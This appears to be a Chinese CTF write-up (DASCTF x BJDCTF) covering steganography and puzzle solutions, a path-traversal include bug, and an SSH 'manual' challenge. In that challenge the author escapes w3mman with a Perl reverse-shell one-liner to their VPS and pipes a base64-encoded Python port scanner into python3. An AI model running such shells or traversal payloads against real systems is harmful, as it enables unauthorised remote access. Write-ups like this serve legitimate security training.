一道题做两天的快感,要是年轻点我还能肝qwq

DASCTFXBJDCTF

WEB

gob

Description

php是世界上最好的语言

Analyze

登录万能密码登(好像可以直接随便输?)然后是一个上传界面image-20200523195135677

上传后易得一个二级目录uploads,然后看了看目录里都是各种马,但是因为不解析所以一个都没用。。。

但是此时发现show.php里有个包含,包含的就是上传过去的头像地址,所以构造一个../../../../flag文件进行目录穿刺,在访问就可以得到flag的base64,解密即为flag(PS:必须得在同一个session中<--废话

image-20200523195853511

image-20200523200157609

image-20200523200303456

flag

flag{85245872501f31ffde9b742ede98893f}

MISC

Questionnaire

Description

叮~您有一份调查问卷~请查收~ https://forms.gle/Vmzt99LazrtXsRLM9

Analyze

谷歌问卷调查(有一说一两会期间这样不怕被鲨嘛。。。)

其实也不难,打开后F12看js即可

image-20200523200628679

null,null,null,null,[["1vV5T8FOS13NOQDji-xYIynLwsUMXcV8aatxUWP6ljvfz-w",null,[740,416,0]
]
]
]
,[603160739,"What is the name of the store?",null,0,[[539054317,null,0,null,[[4,302,["Haolinju|haolinju"]
,"8cd9"]
]
]
]
,null,null,null,null,[["1x4dT2M6J3EbaiVZ37ssMVunsnsB2UMCM6g4LCHyhlHJu-Q",null,[740,416,0]
]
]
]
,[488094967," What BRAND is this food?",null,0,[[1465781074,null,0,null,[[4,302,["Daoxiangcun|daoxiangcun"]
,"8f00b2"]
]
]
]
,null,null,null,null,[["1lH3bwgs28QoVKcUYhtzoqAcacmh4n4CHyWjGQen4RiE3Jw",null,[375,458,1]
]
]
]
,[1097246628,"Which RESTAURANT are the ducks coming from? ",null,0,[[353762320,null,0,null,[[4,302,["Jingweizhai|jingweizhai"]
,"04e9"]
]
]
]
,null,null,null,null,[["11ym4QgB0WEymoJXlmFy7FTC5Eyd5rV1adBbw6vWN5PmXvw",null,[740,555,0]
]
]
]
,[1916058196,"Which PARK is this?",null,0,[[901636349,null,0,null,[[4,302,["Jingshan|jingshan"]
,"8009"]
]
]
]
,null,null,null,null,[["16pfH3k5-5kDo-Rb9BxeKRvx0S-Qy4IgUdlX8iJ0AUOBIwQ",null,[740,554,0]
]
]
]
,[1044111735,"Which DISTRICT is the No.3 of Beijing?","The restaurant in question4 is in this Distric",0,[[1620980704,null,0,null,[[4,302,["Chaoyang|chaoyang"]
,"98ecf8"]
]
]
]
,null,null,null,null,[["1VbfGqSSHlM9D_HY1TsENa6rle3axBYbtKdyHS_klYDLG5g",null,[740,371,0]
]
]
]
,[1877231084,"Which part of the Great Wall is this?","In Huairou Distric",0,[[1337434564,null,0,null,[[4,302,["Hefangkou|hefangkou"]
,"427e"]

flag

8cd98f00b204e9800998ecf8427e

babyweb

Description

请提交flag的md5值

Analyze

打开网址,一张图,下载zip,密码说是那个password_is_hereimage-20200523200900169

然后F12发现

image-20200523201006877

于是想到可能是宽字节隐写,然后找到在线工具网站解密,得到zerowidthcharactersinvisible,解压后得到一张倒叙的图,脚本一把梭

a = open('f14g.png','rb').read()
f = a[::-1]
b = open('flag.png','wb').write(f)

得到一堆阴间图片密码

flag

前三个是MINIMOYS,4~6是银河密码,7~9是小人舞旗,最后两个是鸟图腾

Solve

UVWHZAITQAU

flag

1ab4bec43a1931de06cff9d9b8f63cde

/bin/cat 2

Description

[CAUTION] cats as numerous as stars are coming... 解出的答案经md5后提交~

下载附件

Analyze

没啥难的,脚本一把梭。。。图片替换长度减一半扫二维码后md5即可

11.png11

12.png12

res.pngres

Solve

from PIL import Image
from pyzbar.pyzbar import decode
import hashlib

p1 = Image.open('11.png').convert('RGB')
p2 = Image.open('12.png').convert('RGB')
a,b = p1.size
dif = []
for y in range(b):
    for x in range(a):
        if p1.getpixel((x,y))!=p2.getpixel((x,y)):
            dif.append((x,y))
mark = dif[0]

p = Image.open('res.png').convert('RGB')
aa,bb = p.size
data = []
for y in range(0,bb,50):
    for x in range(0,aa,100):
        if p.getpixel((x+mark[0],y+mark[1])) == p1.getpixel(mark):
            data.append('1')
        else:
            data.append('0')

B = Image.new('L',(10,10),255)
W = Image.new('L',(10,10),0)
np = Image.new('L',(290,290),0)
for y in range(29):
    for x in range(29):
        if data[x+29*y] == '0':
            np.paste(B,(10*x,10*y))
        else:
            np.paste(W,(10*x,10*y))
np.save('r.png')
pp = Image.open('r.png')
barcodes = decode(pp)
for barcode in barcodes:
    barcodeData = barcode.data.decode("utf-8")
    print(hashlib.md5(barcodeData.encode()).hexdigest())

flag

9b84eb9e7107ffafebeb1000e8c05322

manual

Description

请使用ssh连接靶机(用户名为ctf,密码详见欢迎信息)———— 歡迎使用BJD3rd帮助手册————「manual一下,你就知道」 hint0: 试试linux的man命令,找找不同 hint1: 本题无需提权,请仔细看看根目录下的文件 hint2: 据说会ps的师傅都做出来了

Analyze

上面那些只做了半天这题肝了两天。。。首先ssh链接,得到

image-20200523232606362

上面那个网址就是虎符misc中的emoji替代加密,密钥是suika,他是一种替代加密,去网址得到字典后脚本替代得到ssh密码:C0dEmOj!so4UnNy

image-20200523232530891

登录上去后是一个留言板加上一个自带的man flag指令,但是你不能退出man,退出man的话就直接退出了ssh,但是这个man又不是一般的man,他是w3mman,然后上面的External Program Settings中的External browser可以命令执行(这相当于是默认启动项,可以插入指令让它执行),使用perl来反弹shell,于是构建(网上百度)得perl -e 'use Socket;$i="ip addr";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};',将shell反弹到VPS上,然后开始疯狂查看文件以及权限,得到f1a9.py为700权限,hint又说不用提权,然后看见run.sh里

#!/bin/sh
echo "ctf:C0dEmOj!so4UnNy" | chpasswd
chown -R root:ctf /home/ctf/
chmod 700 /home/ctf/f1a9.py
chmod 750 /home/ctf/msh
/home/ctf/f1a9.py &

/usr/sbin/sshd -D

可以看到f1a9.py在启动是就在后台运行了,但是。。。我ps怎么弄,进入/proc读内存都没找到有用信息,但是官方突然给hint:f1a9.py的独白:我的真实身份是web server,于是恶向胆边生,俺爆破你端口,但是又因为服务器里没有nmap等可以三句话代码,使用用python写进去一句话的扫描端口脚本

原码:

import requests
host = ' http://127.0.0.1'
for i in range(2000,2500):
    add = host+':'+str(i)
    try:
        s = requests.get(add)
        print(i)
        print(s.text)
        exit(1)
    except:
        print(i)
        pass

一句话脚本:

echo aW1wb3J0IHJlcXVlc3RzCmhvc3QgPSAnIGh0dHA6Ly8xMjcuMC4wLjEnCmZvciBpIGluIHJhbmdlKDIwMDAsMjUwMCk6CiAgICBhZGQgPSBob3N0Kyc6JytzdHIoaSkKICAgIHRyeToKICAgICAgICBzID0gcmVxdWVzdHMuZ2V0KGFkZCkKICAgICAgICBwcmludChpKQogICAgICAgIHByaW50KHMudGV4dCkKICAgICAgICBleGl0KDEpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoaSkKICAgICAgICBwYXNzCg== | base64 -d | python3

得到了2333端口有网页,其内容为:

5aSp5bCK5Zyw5Y2R77yM5Lm+5Z2k5a6a55+j44CC5Y2R6auY5Lul6Zmz77yM6LK06LOk5L2N55+j44CC5YuV6Z2c5pyJ5bi477yM5Ymb5p+U5pa355+j44CC5pa55Lul6aGe6IGa77yM54mp5Lul576k5YiG77yM5ZCJ5Ye255Sf55+j44CC5Zyo5aSp5oiQ6LGh77yM5Zyo5Zyw5oiQ5b2i77yM6K6K5YyW6KaL55+jLm==
5piv5pWF77yM5Ymb5p+U55u45pGp77yM5YWr5Y2m55u455uq44CC6byT5LmL5Lul6Zu36ZyG77yM5r2k5LmL5Lul6aKo6Zuo77yM5pel5pyI6YGL6KGM77yM5LiA5a+S5LiA5pqR77yM5Lm+6YGT5oiQ55S377yM5Z2k6YGT5oiQ5aWz44CC5Lm+55+l5aSn5aeL77yM5Z2k5L2c5oiQ54mp44CC5Lm+5Lul5piT55+l77yM5Z2k5Lul57Ch6IO9Lo==
5piT5YmH5piT55+l77yM57Ch5YmH5piT5b6e44CC5piT55+l5YmH5pyJ6Kaq77yM5piT5b6e5YmH5pyJ5Yqf44CC5pyJ6Kaq5YmH5Y+v5LmF77yM5pyJ5Yqf5YmH5Y+v5aSn44CC5Y+v5LmF5YmH6LOi5Lq65LmL5b6377yM5Y+v5aSn5YmH6LOi5Lq65LmL5qWt44CC5piT57Ch77yM6ICM5aSp5LiL5LmL55CG5b6X55+j77yb5aSp5LiL5LmL55CG5b6X77yM6ICM5oiQ5L2N5LmO5YW25Lit55+jLl==
6IGW5Lq66Kit5Y2m6KeA6LGh77yM57mr6L6t54SJ6ICM5piO5ZCJ5Ye277yM5Ymb5p+U55u45o6o6ICM55Sf6K6K5YyWLk==
5piv5pWF77yM5ZCJ5Ye26ICF77yM5aSx5b6X5LmL6LGh5Lmf44CC5oKU5ZCd6ICF77yM5oeu6Jme5LmL6LGh5Lmf44CC6K6K5YyW6ICF77yM6YCy6YCA5LmL6LGh5Lmf44CC5Ymb5p+U6ICF77yM5pmd5aSc5LmL6LGh5Lmf44CC5YWt54i75LmL5YuV77yM5LiJ5qW15LmL6YGT5Lmf44CC5piv5pWF77yM5ZCb5a2Q5omA5bGF6ICM5a6J6ICF77yM5piT5LmL5bqP5Lmf44CC5omA5qiC6ICM546p6ICF77yM54i75LmL6L6t5LmfLn==
5piv5pWF77yM5ZCb5a2Q5bGF5YmH6KeA5YW26LGh77yM6ICM546p5YW26L6t77yb5YuV5YmH6KeA5YW26K6K77yM6ICM546p5YW25Y2k44CC5piv5Lul6Ieq5aSp56WQ5LmL77yM5ZCJ5pek5LiN5YipLk==
5b2W6ICF77yM6KiA5LmO6LGh6ICF5Lmf44CC54i76ICF77yM6KiA5LmO6K6K6ICF5Lmf44CC5ZCJ5Ye26ICF77yM6KiA5LmO5YW25aSx5b6X5Lmf44CC5oKU5ZCd6ICF77yM6KiA5LmO5YW25bCP55a15Lmf44CC5pel5ZKO6ICF77yM5ZaE6KOc6YGO5LmfLl==
5piv5pWF77yM5YiX6LK06LOk6ICF5a2Y5LmO5L2N44CC6b2K5bCP5aSn6ICF77yM5a2Y5LmO5Y2m44CC6L6v5ZCJ5Ye26ICF77yM5a2Y5LmO6L6t44CC5oeu5oKU5ZCd6ICF77yM5a2Y5LmO5LuL44CC6ZyH5peg5ZKO6ICF77yM5a2Y5LmO5oKU44CC5piv5pWF77yM5Y2m5pyJ5bCP5aSn77yM6L6t5pyJ6Zqq5piT44CC6L6t5Lmf6ICF77yM5ZCE5oyH5YW25omA5LmLLg==
5piT6IiH5aSp5Zyw5rqW77yM5pWF6IO95b2M57a45aSp5Zyw5LmL6YGT44CC5Luw5Lul6KeA5pa85aSp5paH77yM5L+v5Lul5a+f5pa85Zyw55CG77yM5piv5pWF55+l5bm95piO5LmL5pWF44CC5Y6f5aeL5Y+N57WC77yM5pWF55+l5q2755Sf5LmL6Kqq44CC57K+5rCj54K654mp77yM6YGK6a2C54K66K6K77yM5piv5pWF55+l6ay856We5LmL5oOF54uA44CC6IiH5aSp5Zyw55u45Ly877yM5pWF5LiN6YGV44CC55+l5ZGo5LmO6JCs54mp77yM6ICM6YGT5r+f5aSp5LiL77yM5pWF5LiN6YGO44CC5peB6KGM6ICM5LiN5rWB77yM5qiC5aSp55+l5ZG977yM5pWF5LiN5oeu44CC5a6J5Zyf5pWm5LmO5LuB77yM5pWF6IO95oSb44CC56+E5ZyN5aSp5Zyw5LmL5YyW6ICM5LiN6YGO77yM5puy5oiQ6JCs54mp6ICM5LiN6YG677yM6YCa5LmO5pmd5aSc5LmL6YGT6ICM55+l77yM5pWF56We5pej5pa56ICM5piT5pej6auULj==
5LiA6Zmw5LiA6Zm95LmL6KyC6YGT77yM57m85LmL6ICF5ZaE5Lmf77yM5oiQ5LmL6ICF5oCn5Lmf44CC5LuB6ICF6KaL5LmL6KyC5LmL5LuB77yM55+l6ICF6KaL5LmL6KyC5LmL55+l44CC55m+5aeT5pel55So6ICM5LiN55+l77yM5pWF5ZCb5a2Q5LmL6YGT6a6u55+j44CC6aGv6Ku45LuB77yM6JeP6Ku455So77yM6byT6JCs54mp6ICM5LiN6IiH6IGW5Lq65ZCM5oeu77yM55ub5b635aSn5qWt6Iez55+j5ZOJ44CC5a+M5pyJ5LmL6KyC5aSn5qWt77yM5pel5paw5LmL6KyC55ub5b6344CC55Sf55Sf5LmL6KyC5piT77yM5oiQ6LGh5LmL6KyC5Lm+77yM5pWI5rOV5LmL54K65Z2k77yM5qW15pW455+l5L6G5LmL6KyC5Y2q77yM6YCa6K6K5LmL6KyC5LqL77yM6Zmw6Zm95LiN5ris5LmL6KyC56WeLq==
5aSr5piT77yM5buj55+j5aSn55+j77yM5Lul6KiA5LmO6YGi77yM5YmH5LiN56am77yb5Lul6KiA5LmO6YKH77yM5YmH6Z2c6ICM5q2j77yb5Lul6KiA5LmO5aSp5Zyw5LmL6ZaT77yM5YmH5YKZ55+j44CC5aSr5Lm+77yM5YW26Z2c5Lmf5bCI77yM5YW25YuV5Lmf55u077yM5piv5Lul5aSn55Sf54SJ44CC5aSr5Z2k77yM5YW26Z2c5Lmf57+V77yM5YW25YuV5Lmf6Zei77yM5piv5Lul5buj55Sf54SJ44CC5buj5aSn6YWN5aSp5Zyw77yM6K6K6YCa6YWN5Zub5pmC77yM6Zmw6Zm95LmL576p6YWN5pel5pyI77yM5piT57Ch5LmL5ZaE6YWN6Iez5b63Li==
5a2Q5puw77ya44CM5piT5YW26Iez55+j5LmO77yB44CN77yM5aSr5piT77yM6IGW5Lq65omA5Lul5bSH5b636ICM5buj5qWt5Lmf44CC55+l5bSH56au5Y2R77yM5bSH5pWI5aSp77yM5Y2R5rOV5Zyw44CC5aSp5Zyw6Kit5L2N77yM6ICM5piT6KGM5LmO5YW25Lit55+j77yM5oiQ5oCn5a2Y5a2Y77yM6YGT576p5LmL6ZaALv==
6IGW5Lq65pyJ5Lul6KaL5aSp5LiL5LmL6LO+77yM6ICM5pOs6Ku45YW25b2i5a6577yM6LGh5YW254mp5a6c77yM5piv5pWF6KyC5LmL6LGh44CC6IGW5Lq65pyJ5Lul6KaL5aSp5LiL5LmL5YuV77yM6ICM6KeA5YW25pyD6YCa77yM5Lul6KGM5YW25YW456au44CC57mr6L6t54SJ77yM5Lul5pa35YW25ZCJ5Ye277yM5piv5pWF6KyC5LmL54i744CC6KiA5aSp5LiL5LmL6Iez6LO+77yM6ICM5LiN5Y+v5oOh5Lmf44CC6KiA5aSp5LiL5LmL6Iez5YuV77yM6ICM5LiN5Y+v5LqC5Lmf44CC5pOs5LmL6ICM5b6M6KiA77yM6K2w5LmL6ICM5b6M5YuV77yM5pOs6K2w5Lul5oiQ5YW26K6K5YyW44CC44CM6bO06ba05Zyo6Zmw77yM5YW25a2Q5ZKM5LmL77yM5oiR5pyJ5aW954i177yM5ZC+6IiH54i+6Z2h5LmL44CC44CN
5a2Q5puw77ya44CM5ZCb5a2Q5bGF5YW25a6k77yM5Ye65YW26KiA77yM5ZaE5YmH5Y2D6YeM5LmL5aSW5oeJ5LmL77yM5rOB5YW26YKH6ICF5LmO77yM5bGF5YW25a6k77yM5Ye65YW26KiA5LiN5ZaE77yM5YmH5Y2D6YeM5LmL5aSW6YGV5LmL77yM5rOB5YW26YKH6ICF5LmO77yM6KiA5Ye65LmO6Lqr77yM5Yqg5LmO5rCR77yM6KGM55m85LmO6YKH77yM6KaL5LmO6YGg44CC6KiA6KGM5ZCb5a2Q5LmL5qie5qmf77yM5qie5qmf5LmL55m877yM5qau6L6x5LmL5Li75Lmf44CC6KiA6KGM77yM5ZCb5a2Q5LmL5omA5Lul5YuV5aSp5Zyw5Lmf77yM5Y+v5LiN5oWO5LmO44CC44CN
44CM5ZCM5Lq677yM5YWI6Jmf5ZK36ICM5b6M56yR44CC44CN5a2Q5puw77ya44CM5ZCb5a2Q5LmL6YGT77yM5oiW5Ye65oiW6JmV77yM5oiW6buY5oiW6Kqe77yM5LqM5Lq65ZCM5b+D77yM5YW25Yip5pa36YeR44CC5ZCM5b+D5LmL6KiA77yM5YW26Iet5aaC6Jit44CC44CN
44CM5Yid5YWt77yM6JeJ55So55m96IyF77yM5peg5ZKO44CC44CN5a2Q5puw77ya44CM6Iuf6Yyv6Ku45Zyw6ICM5Y+v55+j44CC6JeJ5LmL55So6IyF77yM5L2V5ZKO5LmL5pyJ77yf5oWO5LmL6Iez5Lmf44CC5aSr6IyF5LmL54K654mp6JaE77yM6ICM55So5Y+v6YeN5Lmf44CC5oWO5pav6KGT5Lmf5Lul5b6A77yM5YW25peg5omA5aSx55+j44CC44CN
44CM5Yue6KyZ5ZCb5a2Q77yM5pyJ57WC5ZCJ44CC44CN5a2Q5puw77ya44CM5Yue6ICM5LiN5LyQ77yM5pyJ5Yqf6ICM5LiN5b6377yM5Y6a5LmL6Iez5Lmf77yM6Kqe5Lul5YW25Yqf5LiL5Lq66ICF5Lmf44CC5b636KiA55ub77yM56au6KiA5oGt77yM6KyZ5Lmf6ICF77yM6Ie05oGt5Lul5a2Y5YW25L2N6ICF5Lmf44CC44CN
44CM5Lqi6b6N5pyJ5oKU44CN77yM5a2Q5puw77ya44CM6LK06ICM5peg5L2N77yM6auY6ICM5peg5rCR77yM6LOi5Lq65Zyo5LiL5L2N6ICM5peg6LyU77yM5piv5Lul5YuV6ICM5pyJ5oKU5Lmf44CC44CN
44CM5LiN5Ye65oi25bqt77yM5peg5ZKO44CC44CN5a2Q5puw77ya44CM5LqC5LmL5omA55Sf5Lmf77yM5YmH6KiA6Kqe5Lul54K66ZqO44CC5ZCb5LiN5a+G77yM5YmH5aSx6Iej77yb6Iej5LiN5a+G77yM5YmH5aSx6Lqr77yb5bm+5LqL5LiN5a+G77yM5YmH5a6z5oiQ44CC5piv5Lul5ZCb5a2Q5oWO5a+G6ICM5LiN5Ye65Lmf44CC44CN
5a2Q5puw77ya44CM5L2c5piT6ICF5YW255+l55uc5LmO77yf5piT5puw77ya6LKg5LiU5LmY77yM6Ie05a+H6Iez44CC6LKg5Lmf6ICF77yM5bCP5Lq65LmL5LqL5Lmf44CC5LmY5Lmf6ICF77yM5ZCb5a2Q5LmL5Zmo5Lmf44CC5bCP5Lq66ICM5LmY5ZCb5a2Q5LmL5Zmo77yM55uc5oCd5aWq5LmL55+j77yB5LiK5oWi5LiL5pq077yM55uc5oCd5LyQ5LmL55+j77yB5oWi6JeP6Kqo55uc77yM5Ya25a656Kqo5rer77yM5piT5puw77ya44CM6LKg5LiU5LmY77yM6Ie05a+H6Iez77yM55uc5LmL5oub5Lmf44CC44CN
5aSp5LiA5Zyw5LqM77yM5aSp5LiJ5Zyw5Zub77yM5aSp5LqU5Zyw5YWt77yM5aSp5LiD5Zyw5YWr77yM5aSp5Lmd5Zyw5Y2B44CC5aSp5pW45LqU77yM5Zyw5pW45LqU77yM5LqU5L2N55u45b6X6ICM5ZCE5pyJ5ZCI44CC5aSp5pW45LqM5Y2B5pyJ5LqU77yM5Zyw5pW45LiJ5Y2B77yM5Yeh5aSp5Zyw5LmL5pW477yM5LqU5Y2B5pyJ5LqU77yM5q2k5omA5Lul5oiQ6K6K5YyW77yM6ICM6KGM6ay856We5Lmf44CC5aSn6KGN5LmL5pW45LqU5Y2B77yM5YW255So5Zub5Y2B5pyJ5Lmd44CC5YiG6ICM54K65LqM5Lul6LGh5YWp77yM5o6b5LiA5Lul6LGh5LiJ77yM5o+y5LmL5Lul5Zub5Lul6LGh5Zub5pmC77yM5q245aWH5pa85omQ5Lul6LGh6ZaP44CC5LqU5q2y5YaN6ZaP77yM5pWF5YaN5omQ6ICM5b6M5o6bLi==
5Lm+5LmL562W77yM5LqM55m+5LiA5Y2B5pyJ5YWt77yb5Z2k5LmL562W77yM55m+5Zub5Y2B5pyJ5Zub77yM5Yeh5LiJ55m+5pyJ5YWt5Y2B77yM55W25pyf5LmL5pel44CC5LqM56+H5LmL562W77yM6JCs5pyJ5LiA5Y2D5LqU55m+5LqM5Y2B77yM55W26JCs54mp5LmL5pW45Lmf44CC5piv5pWF77yM5Zub54ef6ICM5oiQ5piT77yM5Y2B5pyJ5YWr6K6K6ICM5oiQ5Y2m44CC5YWr5Y2m6ICM5bCP5oiQ77yM5byV6ICM5Ly45LmL77yM6Ke46aGe6ICM6ZW35LmL77yM5aSp5LiL5LmL6IO95LqL55Wi55+j44CC6aGv6YGT56We5b636KGM77yM5piv5pWF5Y+v6IiH6YWs6YWi77yM5Y+v6IiH56WQ56We55+j44CC5a2Q5puw77ya44CM55+l6K6K5YyW5LmL6YGT6ICF77yM5YW255+l56We5LmL5omA54K65LmO44CC44CN
5piT5pyJ6IGW5Lq65LmL6YGT5Zub54SJ77yb5Lul6KiA6ICF5bCa5YW26L6t77yM5Lul5YuV6ICF5bCa5YW26K6K77yM5Lul5Yi25Zmo6ICF5bCa5YW26LGh77yM5Lul5Y2c562u6ICF5bCa5YW25Y2v44CC5Lul5ZCb5a2Q5bCH5pyJ54K65Lmf77yM5bCH5pyJ6KGM5Lmf77yM5ZWP54SJ6ICM5Lul6KiA77yM5YW25Y+X5ZG95Lmf5aaC6Z+/77yM5pev5pyJ6YGv6L+R5bm95rex77yM6YGC55+l5L6G54mp44CC6Z2e5aSp5LiL5LmL6Iez57K+77yM5YW25a2w6IO96IiH5pa85q2kLv==
5Y+D5LyN5Lul6K6K77yM6Yyv57ac5YW25pW477yM6YCa5YW26K6K77yM6YGC5oiQ5aSp5LiL5LmL5paH44CC5qW15YW25pW477yM6YGC5a6a5aSp5LiL5LmL6LGh44CC6Z2e5aSp5LiL5LmL6Iez6K6K77yM5YW25a2w6IO96IiH5pa85q2k44CC5piT5pej5oCd5Lmf77yM5pej54K65Lmf77yM5a+C54S25LiN5YuV77yM5oSf6ICM6YGC6YCa5aSp5LiL5LmL5pWF44CC6Z2e5aSp5LiL5LmL6Iez56We77yM5YW25a2w6IO96IiH5pa85q2kLj==
5aSr5piT77yM6IGW5Lq65LmL5omA5Lul5qW15rex6ICM56CU5bm+5Lmf44CC5ZSv5rex5Lmf77yM5pWF6IO96YCa5aSp5LiL5LmL5b+X44CC5ZSv5bm+5Lmf77yM5pWF6IO95oiQ5aSp5LiL5LmL5YuZ44CC5ZSv56We5Lmf77yM5pWF5LiN55a+6ICM6YCf77yM5LiN6KGM6ICM6Iez44CC5a2Q5puw77ya44CM5piT5pyJ6IGW5Lq65LmL6YGT5Zub54SJ44CN6ICF77yM5q2k5LmL6KyC5LmfLp==
5a2Q5puw77ya44CM5aSr5piT77yM5L2V54K66ICF5Lmf77yf5aSr5piT6ZaL54mp5oiQ5YuZ77yM5YaS5aSp5LiL5LmL6YGT77yM5aaC5pav6ICM5bey6ICF5Lmf44CC5piv5pWF77yM6IGW5Lq65Lul6YCa5aSp5LiL5LmL5b+X77yM5Lul5a6a5aSp5LiL5LmL5qWt77yM5Lul5pa35aSp5LiL5LmL55aR44CC44CN5piv5pWF77yM6JON5LmL5b6377yM5ZyT6ICM56We77yb5Y2m5LmL5b6377yM5pa55Lul55+l77yb5YWt54i75LmL576p77yM5piT5Lul6LKi44CC6IGW5Lq65Lul5q2k5rSX5b+D77yM6YCA6JeP5pa85a+G77yM5ZCJ5Ye26IiH5rCR5ZCM5oKj44CC56We5Lul55+l5L6G77yM55+l5Lul6JeP5b6A77yM5YW25a2w6IO96IiH5q2k5ZOJ77yB5Y+k5LmL6IGw5piO5Y+h55+l56We5q2m6ICM5LiN5q666ICF5aSr77yf
5piv5Lul77yM5piO5pa85aSp5LmL6YGT77yM6ICM5a+f5pa85rCR5LmL5pWF77yM5piv6IiI56We54mp5Lul5YmN5rCR55So44CC6IGW5Lq65Lul5q2k6b2K5oiS77yM5Lul56We5piO5YW25b635aSr77yB5piv5pWF77yM6ZeU5oi26KyC5LmL5Z2k77yb6Zei5oi26KyC5LmL5Lm+77yb5LiA6ZeU5LiA6Zei6KyC5LmL6K6K77yb5b6A5L6G5LiN56qu6KyC5LmL6YCa77yb6KaL5LmD6KyC5LmL6LGh77yb5b2i5LmD6KyC5LmL5Zmo77yb5Yi26ICM55So5LmL77yM6KyC5LmL5rOV77yb5Yip55So5Ye65YWl77yM5rCR5ZK455So5LmL77yM6KyC5LmL56WeLj==
5piv5pWF77yM5piT5pyJ5aSq5qW177yM5piv55Sf5YWp5YSA77yM5YWp5YSA55Sf5Zub6LGh77yM5Zub6LGh55Sf5YWr5Y2m77yM5YWr5Y2m5a6a5ZCJ5Ye277yM5ZCJ5Ye255Sf5aSn5qWt44CC5piv5pWF77yM5rOV6LGh6I6r5aSn5LmO5aSp5Zyw77yM6K6K6YCa6I6r5aSn5LmO5Zub5pmC77yM57ij6LGh6JGX5piO6I6r5aSn5LmO5pel5pyI77yM5bSH6auY6I6r5aSn5LmO5a+M6LK077yb5YKZ54mp6Ie055So77yM56uL5oiQ5Zmo5Lul54K65aSp5LiL5Yip77yM6I6r5aSn5LmO6IGW5Lq677yb5o6i6LO+57Si6Zqx77yM6Ymk5rex6Ie06YGp77yM5Lul5a6a5aSp5LiL5LmL5ZCJ5Ye277yM5oiQ5aSp5LiL5LmL5Lq55Lq56ICF77yM6I6r5aSn5LmO6JON6b6cLp==
5piv5pWF77yM5aSp55Sf56We54mp77yM6IGW5Lq65YmH5LmL77yb5aSp5Zyw6K6K5YyW77yM6IGW5Lq65pWI5LmL77yb5aSp5Z6C6LGh77yM6KaL5ZCJ5Ye277yM6IGW5Lq66LGh5LmL44CC5rKz5Ye65ZyW77yM5rSb5Ye65pu477yM6IGW5Lq65YmH5LmL44CC5piT5pyJ5Zub6LGh77yM5omA5Lul56S65Lmf44CC57mr6L6t54SJ77yM5omA5Lul5ZGK5Lmf44CC5a6a5LmL5Lul5ZCJ5Ye277yM5omA5Lul5pa35LmfLj==
5piT5puw77ya44CM6Ieq5aSp56WQ5LmL77yM5ZCJ5peg5LiN5Yip44CC44CN5a2Q5puw77ya44CM56WQ6ICF77yM5Yqp5Lmf44CC5aSp5LmL5omA5Yqp6ICF77yM6aCG5Lmf77yb5Lq65LmL5omA5Yqp6ICF77yM5L+h5Lmf44CC5bGl5L+h5oCd5LmO6aCG77yM5Y+I5Lul5bCa6LOi5Lmf44CC5piv5Lul6Ieq5aSp56WQ5LmL77yM5ZCJ5peg5LiN5Yip5Lmf44CC44CN
5a2Q5puw77ya44CM5pu45LiN55uh6KiA77yM6KiA5LiN55uh5oSP44CC54S25YmH6IGW5Lq65LmL5oSP77yM5YW25LiN5Y+v6KaL5LmO44CC44CN5a2Q5puw77ya44CM6IGW5Lq656uL6LGh5Lul55uh5oSP77yM6Kit5Y2m5Lul55uh5oOF5YG977yM57mr6L6t5Lul55uh5YW26KiA77yM6K6K6ICM6YCa5LmL5Lul55uh5Yip77yM6byT5LmL6Iie5LmL5Lul55uh56We44CC44CN
5Lm+5Z2k5YW25piT5LmL57iV6YKq77yf5Lm+5Z2k5oiQ5YiX77yM6ICM5piT56uL5LmO5YW25Lit55+j44CC5Lm+5Z2k5q+A77yM5YmH5pep5Lul6KaL5piT77yM5piT5LiN5Y+v6KaL77yM5YmH5Lm+5Z2k5oiW5bm+5LmO5oGv55+j44CC5piv5pWF77yM5b2i6ICM5LiK6ICF6KyC5LmL6YGT77yM5b2i6ICM5LiL6ICF6KyC5LmL5Zmo44CC5YyW6ICM6KOB5LmL6KyC5LmL6K6K77yM5o6o6ICM6KGM5LmL6KyC5LmL6YCa77yM6IiJ6ICM6Yyv5LmL5aSp5LiL5LmL5rCR77yM6KyC5LmL5LqL5qWtLp==
5piv5pWF77yM5aSr6LGh77yM6IGW5Lq65pyJ5Lul6KaL5aSp5LiL5LmL6LO+77yM6ICM5pOs6Ku45YW25b2i5a6577yM6LGh5YW254mp5a6c77yM5piv5pWF6KyC5LmL6LGh44CC6IGW5Lq65pyJ5Lul6KaL5aSp5LiL5LmL5YuV77yM6ICM6KeA5YW25pyD6YCa77yM5Lul6KGM5YW25YW456au77yM57mr6L6t54SJ77yM5Lul5pa35YW25ZCJ5Ye277yM5piv5pWF6KyC5LmL54i744CC5qW15aSp5LiL5LmL6LO+6ICF77yM5a2Y5LmO5Y2m77yb6byT5aSp5LiL5LmL5YuV6ICF77yM5a2Y5LmO6L6t77yb5YyW6ICM6KOB5LmL77yM5a2Y5LmO6K6K77yb5o6o6ICM6KGM5LmL77yM5a2Y5LmO6YCa77yb56We6ICM5piO5LmL77yM5a2Y5LmO5YW25Lq677yb6buY6ICM5oiQ5LmL77yM5LiN6KiA6ICM5L+h77yM5a2Y5LmO5b636KGMLi==
5YWr5Y2m5oiQ5YiX77yM6LGh5Zyo5YW25Lit55+j44CC5Zuu6ICM6YeN5LmL77yM54i75Zyo5YW25Lit55+j44CC5Ymb5p+U55u45o6o77yM6K6K5Zyo5YW25Lit55+j44CC57mr6L6t54SJ6ICM5ZG95LmL77yM5YuV5Zyo5YW25Lit55+jLu==
5ZCJ5Ye25oKU5ZCd6ICF77yM55Sf5LmO5YuV6ICF5Lmf44CC5Ymb5p+U6ICF77yM56uL5pys6ICF5Lmf44CC6K6K6YCa6ICF77yM6Laj5pmC6ICF5LmfLl==
5ZCJ5Ye26ICF77yM6LKe5Yud6ICF5Lmf44CC5aSp5Zyw5LmL6YGT77yM6LKe6KeA6ICF5Lmf44CC5pel5pyI5LmL6YGT77yM6LKe5piO6ICF5Lmf77yM5aSp5LiL5LmL5YuV77yM6LKe5aSr5LiA6ICF5LmfLk==
5aSr5Lm+77yM56K654S256S65Lq65piT55+j44CC5aSr5Z2k77yM6Zqk54S256S65Lq657Ch55+j44CC54i75Lmf6ICF77yM5pWI5q2k6ICF5Lmf44CC6LGh5Lmf6ICF77yM5YOP5q2k6ICF5LmfLm==
